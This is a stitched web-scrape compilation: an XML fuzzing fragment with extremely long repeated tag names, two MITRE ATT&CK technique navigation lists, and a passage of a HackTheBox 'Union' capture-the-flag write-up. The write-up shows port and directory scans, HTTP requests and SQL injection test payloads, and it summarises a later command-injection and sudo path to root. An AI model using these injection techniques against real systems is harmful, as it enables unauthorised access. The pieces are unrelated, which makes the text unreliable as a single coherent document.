eld1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLong> value </MyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLongMyDataField1MustBeLong> </data> </root> </XML> <?xml version="1.0" encoding="utf-8" standalone="yes"?> <XML ID="xmlid4"> <Devices> <Device> <bb /> </Device> </Devices> </XML> <?xml version="1.0" encoding="utf-8" standalone="yes"?> <XML ID="xmlid5"> <Devices> <Device> <BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB /> </Device> </Devices> </XML> <?xml version="1.0" encoding="utf-8" standalone="yes"?> <XML ID="xmlid6"> <root> <data> <CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC> value </CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC> </data> </root> </XML> </body> </html>
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Currently viewing ATT&CK v12.1 which was live between October 25, 2022 and April 24, 2023. Learn more about the versioning system or see the live site. ATT&CK v12 is now live! Check out the updates here TECHNIQUES Enterprise Reconnaissance Active Scanning Scanning IP Blocks Vulnerability Scanning Wordlist Scanning Gather Victim Host Information Hardware Software Firmware Client Configurations Gather Victim Identity Information Credentials Email Addresses Employee Names Gather Victim Network Information Domain Properties DNS Network Trust Dependencies Network Topology IP Addresses Network Security Appliances Gather Victim Org Information Determine Physical Locations Business Relationships Identify Business Tempo Identify Roles Phishing for Information Spearphishing Service Spearphishing Attachment Spearphishing Link Search Closed Sources Threat Intel Vendors Purchase Technical Data Search Open Technical Databases DNS/Passive DNS WHOIS Digital Certificates CDNs Scan Databases Search Open Websites/Domains Social Media Search Engines Code Repositories Search Victim-Owned Websites Resource Development Acquire Infrastructure Domains DNS Server Virtual Private Server Server Botnet Web Services Serverless Compromise Accounts Social Media Accounts Email Accounts Cloud Accounts Compromise Infrastructure Domains DNS Server Virtual Private Server Server Botnet Web Services Serverless Develop Capabilities Malware Code Signing Certificates Digital Certificates Exploits Establish Accounts Social Media Accounts Email Accounts Cloud Accounts Obtain Capabilities Malware Tool Code Signing Certificates Digital Certificates Exploits Vulnerabilities Stage Capabilities Upload Malware Upload Tool Install Digital Certificate Drive-by Target Link Target SEO Poisoning Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Phishing Spearphishing Attachment Spearphishing Link Spearphishing via Service Replication Through Removable Media Supply Chain Compromise Compromise Software Dependencies and Development Tools Compromise Software Supply Chain Compromise Hardware Supply Chain Trusted Relationship Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Execution Command and Scripting Interpreter PowerShell AppleScript Windows Command Shell Unix Shell Visual Basic Python JavaScript Network Device CLI Container Administration Command Deploy Container Exploitation for Client Execution Inter-Process Communication Component Object Model Dynamic Data Exchange XPC Services Native API Scheduled Task/Job At Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Serverless Execution Shared Modules Software Deployment Tools System Services Launchctl Service Execution User Execution Malicious Link Malicious File Malicious Image Windows Management Instrumentation Persistence Account Manipulation Additional Cloud Credentials Additional Email Delegate Permissions Additional Cloud Roles SSH Authorized Keys Device Registration BITS Jobs Boot or Logon Autostart Execution Registry Run Keys / Startup Folder Authentication Package Time Providers Winlogon Helper DLL Security Support Provider Kernel Modules and Extensions Re-opened Applications LSASS Driver Shortcut Modification Port Monitors Print Processors XDG Autostart Entries Active Setup Login Items Boot or Logon Initialization Scripts Logon Script (Windows) Login Hook Network Logon Script RC Scripts Startup Items Browser Extensions Compromise Client Software Binary Create Account Local Account Domain Account Cloud Account Create or Modify System Process Launch Agent Systemd Service Windows Service Launch Daemon Event Triggered Execution Change Default File Association Screensaver Windows Management Instrumentation Event Subscription Unix Shell Configuration Modification Trap LC_LOAD_DYLIB Addition Netsh Helper DLL Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Image File Execution Options Injection PowerShell Profile Emond Component Object Model Hijacking Installer Packages External Remote Services Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER KernelCallbackTable Implant Internal Image Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Reversible Encryption Multi-Factor Authentication Hybrid Identity Office Application Startup Office Template Macros Office Test Outlook Forms Outlook Home Page Outlook Rules Add-ins Pre-OS Boot System Firmware Component Firmware Bootkit ROMMONkit TFTP Boot Scheduled Task/Job At Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Server Software Component SQL Stored Procedures Transport Agent Web Shell IIS Components Terminal Services DLL Traffic Signaling Port Knocking Socket Filters Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Privilege Escalation Abuse Elevation Control Mechanism Setuid and Setgid Bypass User Account Control Sudo and Sudo Caching Elevated Execution with Prompt Access Token Manipulation Token Impersonation/Theft Create Process with Token Make and Impersonate Token Parent PID Spoofing SID-History Injection Boot or Logon Autostart Execution Registry Run Keys / Startup Folder Authentication Package Time Providers Winlogon Helper DLL Security Support Provider Kernel Modules and Extensions Re-opened Applications LSASS Driver Shortcut Modification Port Monitors Print Processors XDG Autostart Entries Active Setup Login Items Boot or Logon Initialization Scripts Logon Script (Windows) Login Hook Network Logon Script RC Scripts Startup Items Create or Modify System Process Launch Agent Systemd Service Windows Service Launch Daemon Domain Policy Modification Group Policy Modification Domain Trust Modification Escape to Host Event Triggered Execution Change Default File Association Screensaver Windows Management Instrumentation Event Subscription Unix Shell Configuration Modification Trap LC_LOAD_DYLIB Addition Netsh Helper DLL Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Image File Execution Options Injection PowerShell Profile Emond Component Object Model Hijacking Installer Packages Exploitation for Privilege Escalation Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER KernelCallbackTable Process Injection Dynamic-link Library Injection Portable Executable Injection Thread Execution Hijacking Asynchronous Procedure Call Thread Local Storage Ptrace System Calls Proc Memory Extra Window Memory Injection Process Hollowing Process Doppelgänging VDSO Hijacking ListPlanting Scheduled Task/Job At Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Defense Evasion Abuse Elevation Control Mechanism Setuid and Setgid Bypass User Account Control Sudo and Sudo Caching Elevated Execution with Prompt Access Token Manipulation Token Impersonation/Theft Create Process with Token Make and Impersonate Token Parent PID Spoofing SID-History Injection BITS Jobs Build Image on Host Debugger Evasion Deobfuscate/Decode Files or Information Deploy Container Direct Volume Access Domain Policy Modification Group Policy Modification Domain Trust Modification Execution Guardrails Environmental Keying Exploitation for Defense Evasion File and Directory Permissions Modification Windows File and Directory Permissions Modification Linux and Mac File and Directory Permissions Modification Hide Artifacts Hidden Files and Directories Hidden Users Hidden Window NTFS File Attributes Hidden File System Run Virtual Instance VBA Stomping Email Hiding Rules Resource Forking Process Argument Spoofing Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER KernelCallbackTable Impair Defenses Disable or Modify Tools Disable Windows Event Logging Impair Command History Logging Disable or Modify System Firewall Indicator Blocking Disable or Modify Cloud Firewall Disable Cloud Logs Safe Mode Boot Downgrade Attack Indicator Removal Clear Windows Event Logs Clear Linux or Mac System Logs Clear Command History File Deletion Network Share Connection Removal Timestomp Clear Network Connection History and Configurations Clear Mailbox Data Clear Persistence Indirect Command Execution Masquerading Invalid Code Signature Right-to-Left Override Rename System Utilities Masquerade Task or Service Match Legitimate Name or Location Space after Filename Double File Extension Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Reversible Encryption Multi-Factor Authentication Hybrid Identity Modify Cloud Compute Infrastructure Create Snapshot Create Cloud Instance Delete Cloud Instance Revert Cloud Instance Modify Registry Modify System Image Patch System Image Downgrade System Image Network Boundary Bridging Network Address Translation Traversal Obfuscated Files or Information Binary Padding Software Packing Steganography Compile After Delivery Indicator Removal from Tools HTML Smuggling Dynamic API Resolution Stripped Payloads Embedded Payloads Plist File Modification Pre-OS Boot System Firmware Component Firmware Bootkit ROMMONkit TFTP Boot Process Injection Dynamic-link Library Injection Portable Executable Injection Thread Execution Hijacking Asynchronous Procedure Call Thread Local Storage Ptrace System Calls Proc Memory Extra Window Memory Injection Process Hollowing Process Doppelgänging VDSO Hijacking ListPlanting Reflective Code Loading Rogue Domain Controller Rootkit Subvert Trust Controls Gatekeeper Bypass Code Signing SIP and Trust Provider Hijacking Install Root Certificate Mark-of-the-Web Bypass Code Signing Policy Modification System Binary Proxy Execution Compiled HTML File Control Panel CMSTP InstallUtil Mshta Msiexec Odbcconf Regsvcs/Regasm Regsvr Rundll Verclsid Mavinject MMC System Script Proxy Execution PubPrn Template Injection Traffic Signaling Port Knocking Socket Filters Trusted Developer Utilities Proxy Execution MSBuild Unused/Unsupported Cloud Regions Use Alternate Authentication Material Application Access Token Pass the Hash Pass the Ticket Web Session Cookie Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Virtualization/Sandbox Evasion System Checks User Activity Based Checks Time Based Evasion Weaken Encryption Reduce Key Space Disable Crypto Hardware XSL Script Processing Credential Access Adversary-in-the-Middle LLMNR/NBT-NS Poisoning and SMB Relay ARP Cache Poisoning DHCP Spoofing Brute Force Password Guessing Password Cracking Password Spraying Credential Stuffing Credentials from Password Stores Keychain Securityd Memory Credentials from Web Browsers Windows Credential Manager Password Managers Exploitation for Credential Access Forced Authentication Forge Web Credentials Web Cookies SAML Tokens Input Capture Keylogging GUI Input Capture Web Portal Capture Credential API Hooking Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Reversible Encryption Multi-Factor Authentication Hybrid Identity Multi-Factor Authentication Interception Multi-Factor Authentication Request Generation Network Sniffing OS Credential Dumping LSASS Memory Security Account Manager NTDS LSA Secrets Cached Domain Credentials DCSync Proc Filesystem /etc/passwd and /etc/shadow Steal Application Access Token
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versions_v12_techniques_T1547_008.txt
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Currently viewing ATT&CK v9.0 which was live between April 29, 2021 and October 20, 2021. Learn more about the versioning system or see the live site. TECHNIQUES Enterprise Reconnaissance Active Scanning Scanning IP Blocks Vulnerability Scanning Gather Victim Host Information Hardware Software Firmware Client Configurations Gather Victim Identity Information Credentials Email Addresses Employee Names Gather Victim Network Information Domain Properties DNS Network Trust Dependencies Network Topology IP Addresses Network Security Appliances Gather Victim Org Information Determine Physical Locations Business Relationships Identify Business Tempo Identify Roles Phishing for Information Spearphishing Service Spearphishing Attachment Spearphishing Link Search Closed Sources Threat Intel Vendors Purchase Technical Data Search Open Technical Databases DNS/Passive DNS WHOIS Digital Certificates CDNs Scan Databases Search Open Websites/Domains Social Media Search Engines Search Victim-Owned Websites Resource Development Acquire Infrastructure Domains DNS Server Virtual Private Server Server Botnet Web Services Compromise Accounts Social Media Accounts Email Accounts Compromise Infrastructure Domains DNS Server Virtual Private Server Server Botnet Web Services Develop Capabilities Malware Code Signing Certificates Digital Certificates Exploits Establish Accounts Social Media Accounts Email Accounts Obtain Capabilities Malware Tool Code Signing Certificates Digital Certificates Exploits Vulnerabilities Stage Capabilities Upload Malware Upload Tool Install Digital Certificate Drive-by Target Link Target Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Phishing Spearphishing Attachment Spearphishing Link Spearphishing via Service Replication Through Removable Media Supply Chain Compromise Compromise Software Dependencies and Development Tools Compromise Software Supply Chain Compromise Hardware Supply Chain Trusted Relationship Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Execution Command and Scripting Interpreter PowerShell AppleScript Windows Command Shell Unix Shell Visual Basic Python JavaScript Network Device CLI Container Administration Command Deploy Container Exploitation for Client Execution Inter-Process Communication Component Object Model Dynamic Data Exchange Native API Scheduled Task/Job At (Linux) At (Windows) Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Shared Modules Software Deployment Tools System Services Launchctl Service Execution User Execution Malicious Link Malicious File Malicious Image Windows Management Instrumentation Persistence Account Manipulation Additional Cloud Credentials Exchange Email Delegate Permissions Add Office 365 Global Administrator Role SSH Authorized Keys BITS Jobs Boot or Logon Autostart Execution Registry Run Keys / Startup Folder Authentication Package Time Providers Winlogon Helper DLL Security Support Provider Kernel Modules and Extensions Re-opened Applications LSASS Driver Shortcut Modification Port Monitors Plist Modification Print Processors XDG Autostart Entries Active Setup Boot or Logon Initialization Scripts Logon Script (Windows) Logon Script (Mac) Network Logon Script RC Scripts Startup Items Browser Extensions Compromise Client Software Binary Create Account Local Account Domain Account Cloud Account Create or Modify System Process Launch Agent Systemd Service Windows Service Launch Daemon Event Triggered Execution Change Default File Association Screensaver Windows Management Instrumentation Event Subscription Unix Shell Configuration Modification Trap LC_LOAD_DYLIB Addition Netsh Helper DLL Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Image File Execution Options Injection PowerShell Profile Emond Component Object Model Hijacking External Remote Services Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER Implant Internal Image Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Office Application Startup Office Template Macros Office Test Outlook Forms Outlook Home Page Outlook Rules Add-ins Pre-OS Boot System Firmware Component Firmware Bootkit ROMMONkit TFTP Boot Scheduled Task/Job At (Linux) At (Windows) Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Server Software Component SQL Stored Procedures Transport Agent Web Shell Traffic Signaling Port Knocking Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Privilege Escalation Abuse Elevation Control Mechanism Setuid and Setgid Bypass User Account Control Sudo and Sudo Caching Elevated Execution with Prompt Access Token Manipulation Token Impersonation/Theft Create Process with Token Make and Impersonate Token Parent PID Spoofing SID-History Injection Boot or Logon Autostart Execution Registry Run Keys / Startup Folder Authentication Package Time Providers Winlogon Helper DLL Security Support Provider Kernel Modules and Extensions Re-opened Applications LSASS Driver Shortcut Modification Port Monitors Plist Modification Print Processors XDG Autostart Entries Active Setup Boot or Logon Initialization Scripts Logon Script (Windows) Logon Script (Mac) Network Logon Script RC Scripts Startup Items Create or Modify System Process Launch Agent Systemd Service Windows Service Launch Daemon Domain Policy Modification Group Policy Modification Domain Trust Modification Escape to Host Event Triggered Execution Change Default File Association Screensaver Windows Management Instrumentation Event Subscription Unix Shell Configuration Modification Trap LC_LOAD_DYLIB Addition Netsh Helper DLL Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Image File Execution Options Injection PowerShell Profile Emond Component Object Model Hijacking Exploitation for Privilege Escalation Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER Process Injection Dynamic-link Library Injection Portable Executable Injection Thread Execution Hijacking Asynchronous Procedure Call Thread Local Storage Ptrace System Calls Proc Memory Extra Window Memory Injection Process Hollowing Process Doppelgänging VDSO Hijacking Scheduled Task/Job At (Linux) At (Windows) Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Defense Evasion Abuse Elevation Control Mechanism Setuid and Setgid Bypass User Account Control Sudo and Sudo Caching Elevated Execution with Prompt Access Token Manipulation Token Impersonation/Theft Create Process with Token Make and Impersonate Token Parent PID Spoofing SID-History Injection BITS Jobs Build Image on Host Deobfuscate/Decode Files or Information Deploy Container Direct Volume Access Domain Policy Modification Group Policy Modification Domain Trust Modification Execution Guardrails Environmental Keying Exploitation for Defense Evasion File and Directory Permissions Modification Windows File and Directory Permissions Modification Linux and Mac File and Directory Permissions Modification Hide Artifacts Hidden Files and Directories Hidden Users Hidden Window NTFS File Attributes Hidden File System Run Virtual Instance VBA Stomping Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER Impair Defenses Disable or Modify Tools Disable Windows Event Logging Impair Command History Logging Disable or Modify System Firewall Indicator Blocking Disable or Modify Cloud Firewall Disable Cloud Logs Indicator Removal on Host Clear Windows Event Logs Clear Linux or Mac System Logs Clear Command History File Deletion Network Share Connection Removal Timestomp Indirect Command Execution Masquerading Invalid Code Signature Right-to-Left Override Rename System Utilities Masquerade Task or Service Match Legitimate Name or Location Space after Filename Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Modify Cloud Compute Infrastructure Create Snapshot Create Cloud Instance Delete Cloud Instance Revert Cloud Instance Modify Registry Modify System Image Patch System Image Downgrade System Image Network Boundary Bridging Network Address Translation Traversal Obfuscated Files or Information Binary Padding Software Packing Steganography Compile After Delivery Indicator Removal from Tools Pre-OS Boot System Firmware Component Firmware Bootkit ROMMONkit TFTP Boot Process Injection Dynamic-link Library Injection Portable Executable Injection Thread Execution Hijacking Asynchronous Procedure Call Thread Local Storage Ptrace System Calls Proc Memory Extra Window Memory Injection Process Hollowing Process Doppelgänging VDSO Hijacking Rogue Domain Controller Rootkit Signed Binary Proxy Execution Compiled HTML File Control Panel CMSTP InstallUtil Mshta Msiexec Odbcconf Regsvcs/Regasm Regsvr Rundll Verclsid Signed Script Proxy Execution PubPrn Subvert Trust Controls Gatekeeper Bypass Code Signing SIP and Trust Provider Hijacking Install Root Certificate Mark-of-the-Web Bypass Code Signing Policy Modification Template Injection Traffic Signaling Port Knocking Trusted Developer Utilities Proxy Execution MSBuild Unused/Unsupported Cloud Regions Use Alternate Authentication Material Application Access Token Pass the Hash Pass the Ticket Web Session Cookie Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Virtualization/Sandbox Evasion System Checks User Activity Based Checks Time Based Evasion Weaken Encryption Reduce Key Space Disable Crypto Hardware XSL Script Processing Credential Access Brute Force Password Guessing Password Cracking Password Spraying Credential Stuffing Credentials from Password Stores Keychain Securityd Memory Credentials from Web Browsers Windows Credential Manager Password Managers Exploitation for Credential Access Forced Authentication Forge Web Credentials Web Cookies SAML Tokens Input Capture Keylogging GUI Input Capture Web Portal Capture Credential API Hooking Man-in-the-Middle LLMNR/NBT-NS Poisoning and SMB Relay ARP Cache Poisoning Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Network Sniffing OS Credential Dumping LSASS Memory Security Account Manager NTDS LSA Secrets Cached Domain Credentials DCSync Proc Filesystem /etc/passwd and /etc/shadow Steal Application Access Token Steal or Forge Kerberos Tickets Golden Ticket Silver Ticket Kerberoasting AS-REP Roasting Steal Web Session Cookie Two-Factor Authentication Interception Unsecured Credentials Credentials In Files Credentials in Registry Bash History Private Keys Cloud Instance Metadata API Group Policy Preferences Container API Discovery Account Discovery Local Account Domain Account Email Account Cloud Account Application Window Discovery Browser Bookmark Discovery Cloud Infrastructure Discovery Cloud Service Dashboard Cloud Service Discovery Container and Resource Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Local Groups Domain Groups Cloud Groups Process Discovery Query
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versions_v9_techniques_T1053_001.txt
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HTB: Union ctf htb-union hackthebox uhc nmap sqli filter waf feroxbuster burp burp-repeater sqli-file credentials injection command-injection sudo iptables cpts-like Nov 22, HTB: Union The November Ultimate Hacking Championship qualifier box is Union. There’s a tricky-to-find union SQL injection that will allow for file reads, which leaks the users on the box as well as the password for the database. Those combine to get SSH access. Once on the box, I’ll notice that www-data is modifying the firewall, which is a privileged action, using sudo. Analysis of the page source shows it is command injectable via the X-Forwarded-For header, which provides a shell as www-data. This account has full sudo rights, providing root access. Box Info Name Union Play on HackTheBox Release Date 22 Nov Retire Date 22 Nov OS Linux Base Points Medium [30] N/A (non-competitive) N/A (non-competitive) Creator ippsec Recon nmap nmap found only one open TCP port, HTTP (80): oxdf@parrot$ nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.11. Starting Nmap 7.80 ( https://nmap.org ) at 2021-11-19 08:29 EST Nmap scan report for 10.10.11. Host is up (0.092s latency). Not shown: 65534 filtered ports PORT STATE SERVICE 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 13.64 seconds oxdf@parrot$ nmap -p 80 -sCV -oA scans/nmap-tcpscripts 10.10.11. Starting Nmap 7.80 ( https://nmap.org ) at 2021-11-19 09:58 EST Nmap scan report for 10.10.11. Host is up (0.089s latency). PORT STATE SERVICE VERSION 80/tcp open http nginx 1.18.0 (Ubuntu) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Site doesn't have a title (text/html; charset=UTF-8). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.07 seconds NGINX version don’t tie as nicely with OS versions, so it’s hard to get a read on the OS version, beyond that it’s Ubuntu. Website - TCP Site The website is about the UHC November Qualifiers: If I enter my name and click check: Interestingly, I later learned after looking at the page source the 0x was a string that the filter (“WAF”) was matching on, so that’s a partial response. If I try some other username: If I try the box creator, it gets a different message: Tech Stack The form creates a POST request to index.php: POST /index.php HTTP/1. Host: 10.10.11. User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94. Accept: */* Accept-Language: en-US,en;q=0. Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF- X-Requested-With: XMLHttpRequest Content-Length: Origin: http://10.10.11. Connection: close Referer: http://10.10.11.128/ Cookie: PHPSESSID=orpc54gjbbmaih8loabi2ru7bi player=df The response doesn’t show much: HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Nov 2021 21:09:48 GMT Content-Type: text/html; charset=UTF- Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: Congratulations df you may compete in this tournament!<br /><br />Complete the challenge <a href="/challenge.php">here</a> The site is setting a PHPSESSID cookie. /challenge.php This path presents a new page that looks very similar to the previous one: This time it’s asking for a flag. Submitting something returns the exact same page: I tried some basic fuzzing, but didn’t find anything useful. Directory Brute Force I’ll run feroxbuster against the site, and include -x php since I know the site is PHP: oxdf@parrot$ feroxbuster -u http://10.10.11.128 -x php ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.4. ───────────────────────────┬────────────────────── 🎯 Target Url │ http://10.10.11. 🚀 Threads │ 📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt 👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500] 💥 Timeout (secs) │ 🦡 User-Agent │ feroxbuster/2.4. 💲 Extensions │ [php] 🔃 Recursion Depth │ ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Cancel Menu™ ────────────────────────────────────────────────── 301 7l 12w 178c http://10.10.11.128/css 200 0l 0w 0c http://10.10.11.128/config.php 200 42l 93w 0c http://10.10.11.128/index.php 200 20l 61w 0c http://10.10.11.128/challenge.php 200 1l 2w 0c http://10.10.11.128/firewall.php [####################] - 1m 119996/119996 0s found:5 errors: [####################] - 1m 59998/59998 532/s http://10.10.11. [####################] - 1m 59998/59998 532/s http://10.10.11.128/css I already knew about index.php and challenge.php. config.php returns an empty response. This page is almost certainly being included by one or more of the other pages. firewall.php returns a 200 OK, but it just says “Access Denied”. Shell as uhc Detect SQL Injection Failures At first, this box will seem to be not vulnerable to SQL injection. Sending player=0xdf' returns the same message, as if it is handling the ' just fine. Trying a similar payload with a player who gets the other result, player=ippsec' returns the message as if that user isn’t in the database. The form could be not vulnerable to SQL injection, or it could be handling errors the same as finding nothing. Identifying Small Difference When I try to send df', it returns with the error and the link: When I try to add an or, it returns the same message, but no link: This is slightly different, and something I should investigate further. Success To see if this is really injectable, I want to to give it a payload that will return the message that it’s not eligible, but for something that almost certainly isn’t in the DB. The query to the DB could look like: SELECT username from users if username = '[user input]'; If that’s the case, passing in something like ippsec';-- - would return the same thing as ippsec: SELECT username from users if username = 'ippsec';-- -'; In fact, that works: That would only work if there is a user in the DB 